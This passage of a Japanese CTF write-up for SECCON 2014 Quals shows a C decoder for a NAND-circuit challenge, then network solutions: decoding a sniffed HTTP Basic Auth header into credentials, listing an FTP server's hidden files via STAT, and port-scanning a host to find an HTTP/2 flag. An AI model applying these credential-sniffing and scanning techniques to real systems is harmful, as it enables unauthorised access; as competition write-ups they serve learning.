  57     gate[7][1] = nand(sw2, sw3);
  58     gate[7][2] = nand(gate[7][1], sw3);
  59     gate[7][3] = nand(sw6, gate[4][2]);
  60     gate[7][4] = nand(gate[7][3], sw6);
  61     gate[8][1] = nand(sw6, gate[9][1]);
  62     gate[8][2] = nand(gate[8][1], gate[9][2]);
  63     gate[8][3] = nand(gate[6][2], gate[9][3]);
  64     gate[8][4] = nand(gate[8][3], gate[9][4]);
  65     gate[9][1] = nand(sw6, sw8);
  66     gate[9][2] = nand(gate[9][1], sw8);
  67     gate[9][3] = nand(gate[6][2], sw5);
  68     gate[9][4] = nand(gate[9][3], sw5);
  69     gate[0][1] = nand(sw7, sw2);
  70     gate[0][2] = nand(gate[0][1], sw2);
  71     gate[0][3] = nand(sw7, gate[0][1]);
  72     gate[0][4] = nand(gate[0][2], gate[0][3]);
  73     }
  74     int out1 = gate[1][4];
  75     int out2 = gate[2][4];
  76     int out3 = gate[2][2];
  77     int out4 = gate[4][4];
  78     int out5 = gate[0][4];
  79     int out6 = gate[6][4];
  80     int out7 = gate[4][2];
  81     int out8 = gate[8][4];
  82     x = 0;
  83 #if UPPER
  84     x |= out1 << 7;
  85     x |= out2 << 6;
  86     x |= out3 << 5;
  87     x |= out4 << 4;
  88     x |= out5 << 3;
  89     x |= out6 << 2;
  90     x |= out7 << 1;
  91     x |= out8 << 0;
  92 #else
  93     x |= out1 << 0;
  94     x |= out2 << 1;
  95     x |= out3 << 2;
  96     x |= out4 << 3;
  97     x |= out5 << 4;
  98     x |= out6 << 5;
  99     x |= out7 << 6;
 100     x |= out8 << 7;
 101 #endif
 102         x ^= 0xff;
 103     return x;
 104 }
 105 
 106 
 107 unsigned char table[256];
 108 void maketable() {
 109     int c;
 110     for (c = 0; c < 256; c++) {
 111         int c2 = f(c);
 112         table[c2] = c;
 113     }
 114 /*
 115     for (c = 0; c < 256; c++) {
 116         fprintf(stderr, "%02x ", table[c]);
 117         if (c % 16 == 15) 
 118             fprintf(stderr, "\n");
 119     }
 120     fprintf(stderr, "\n");
 121 //*/
 122 }
 123 
 124 int main(int argc, char **argv) {
 125     int i, j;
 126     for (i = 0; i < 10; i++) {
 127         for (j = 0; j < 5; j++) {
 128             gate[i][j] = 0;
 129         }
 130     }
 131     maketable();
 132     while (1) {
 133         int c = getchar();
 134         if (c == -1) break;
 135         if (*argv[1] == 'd')
 136             putchar(table[c]);
 137         else
 138             putchar(f(c));
 139     }
 140 }

これによりgzip圧縮されたフラグが得られた。

% make solve && ./solve d < ct | file -
cc     solve.c   -o solve
/dev/stdin: gzip compressed data, from Unix, last modified: Tue Nov 25 00:13:06 2014

% ./solve d < ct > result.gz 

% gzip -dc result.gz 
The flag is SECCON{Hlvd0toiXgloBhTM}

LEDが点灯するのは回路の出力が0になった時であることになかなか気づけなかった。

Get the Key (Network 100pts)

Wiresharkで通信を除いてみると、BASIC認証のかかったhttp://133.242.224.21:6809/nw100にアクセスしていた。

BASIC認証はユーザー名とパスワードをBASE64でエンコードして送るだけなので盗聴された場合簡単に取得出来る。

GET /nw100/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: ja-JP,en-US;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 133.242.224.21:6809
Authorization: Basic c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ=
Connection: Keep-Alive
DNT: 1

$ base64 -d 
c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ=
seccon2014:YourBattleField

得られたユーザー名及びパスワードで、http://133.242.224.21:6809/nw100/key.htmlにアクセスしてフラグを得ることが出来た。

Get from curious "FTP" server (Network 300pts)

FTPサーバなのだが,LISTやNLSTが禁止されており,ファイル一覧が取れない。

試行錯誤の末,STATコマンドでファイル一覧を得ることができた。後はダウンロードするだけである。

% ftp ftpsv.quals.seccon.jp
Connected to ftpsv.quals.seccon.jp.
220 (vsFTPd 2.3.5(SECCON Custom))
Name (ftpsv.quals.seccon.jp:ytoku): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> quote "STAT ."
213-Status follows:
drwxr-xr-x    2 0        107          4096 Nov 29 04:43 .
drwxr-xr-x    2 0        107          4096 Nov 29 04:43 ..
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
213 End of status
ftp> get key_is_in_this_file_afjoirefjort94dv7u.txt
local: key_is_in_this_file_afjoirefjort94dv7u.txt remote: key_is_in_this_file_afjoirefjort94dv7u.txt
227 Entering Passive Mode (133,242,224,21,233,51).
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv7u.txt (38 bytes).
226 Transfer complete.
38 bytes received in 0.00 secs (390.6 kB/s)
ftp> 221 Goodbye.

SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

Version 2 (Network 200pts)

まず問題文を見てHTTP/2だろうと予想したが,80番や443番ポートには接続できない。

対象ホストに対してポートスキャンを行ったところいくつかのポートが開いていた。

Starting Nmap 6.40 ( http://nmap.org ) at 2014-12-07 10:25 JST
Nmap scan report for h2o.pwn.seccon.jp (133.242.231.94)
Host is up (0.027s latency).
Not shown: 65521 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
137/tcp   filtered netbios-ns
138/tcp   filtered netbios-dgm
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
1243/tcp  filtered serialgateway
2049/tcp  filtered nfs
4949/tcp  open     munin
12345/tcp filtered netbus
27374/tcp filtered subseven
31785/tcp filtered unknown
65080/tcp open     unknown
65432/tcp open     unknown

特に,65080番に接続してみるとv2で接続しろとの旨が表示された。

Firefox 34の設定を変更してHTTP/2の有効化を試みたがうまく行かなかったため, nghttpをダウンロード,コンパイルして実行した。

% src/nghttp -nv http://h2o.pwn.seccon.jp:65080/
[  0.036] send SETTINGS frame <length=12, flags=0x00, stream_id=0>
          (niv=2)
          [SETTINGS_MAX_CONCURRENT_STREAMS(0x03):100]
          [SETTINGS_INITIAL_WINDOW_SIZE(0x04):65535]
[  0.036] send HEADERS frame <length=43, flags=0x05, stream_id=1>
          ; END_STREAM | END_HEADERS
          (padlen=0)
          ; Open new stream
          :authority: h2o.pwn.seccon.jp:65080
          :method: GET
          :path: /
          :scheme: http
          accept: */*
          accept-encoding: gzip, deflate
          user-agent: nghttp2/0.6.8-DEV
[  0.062] recv SETTINGS frame <length=18, flags=0x00, stream_id=0>
          (niv=3)
          [SETTINGS_ENABLE_PUSH(0x02):0]
          [SETTINGS_MAX_CONCURRENT_STREAMS(0x03):100]
          [SETTINGS_INITIAL_WINDOW_SIZE(0x04):262144]
[  0.062] recv SETTINGS frame <length=0, flags=0x01, stream_id=0>
          ; ACK
          (niv=0)
[  0.062] recv (stream_id=1, noind=0) :status: 200
[  0.062] recv (stream_id=1, noind=0) server: h2o/0.1
[  0.062] recv (stream_id=1, noind=0) date: Sun, 07 Dec 2014 01:47:19 GMT
[  0.062] recv (stream_id=1, noind=0) x-flag-is: SECCON{spdy4isSoC001}
[  0.062] recv (stream_id=1, noind=0) content-type: text/html
[  0.062] recv (stream_id=1, noind=0) last-modified: Sat, 29 Nov 2014 15:22:23 GMT
[  0.062] recv (stream_id=1, noind=0) etag: "5479e4af-13"
[  0.062] recv HEADERS frame <length=107, flags=0x04, stream_id=1>
          ; END_HEADERS
          (padlen=0)
          ; First response header
[  0.062] recv DATA frame <length=19, flags=0x01, stream_id=1>
          ; END_STREAM
[  0.062] send SETTINGS frame <length=0, flags=0x01, stream_id=0>
          ; ACK
          (niv=0)
[  0.062] send GOAWAY frame <length=8, flags=0x00, stream_id=0>
          (last_stream_id=0, error_code=NO_ERROR(0x00), opaque_data(0)=[])

x-flag-isヘッダとしてフラグが含まれている。

なお,65432番ポートに対してはhttpsで接続すると同様にしてフラグを得ることができた。

CTF/Writeup/SECCON 2014 Quals Online Winter (最終更新日時 2014-12-11 22:24:43 更新者 ytoku)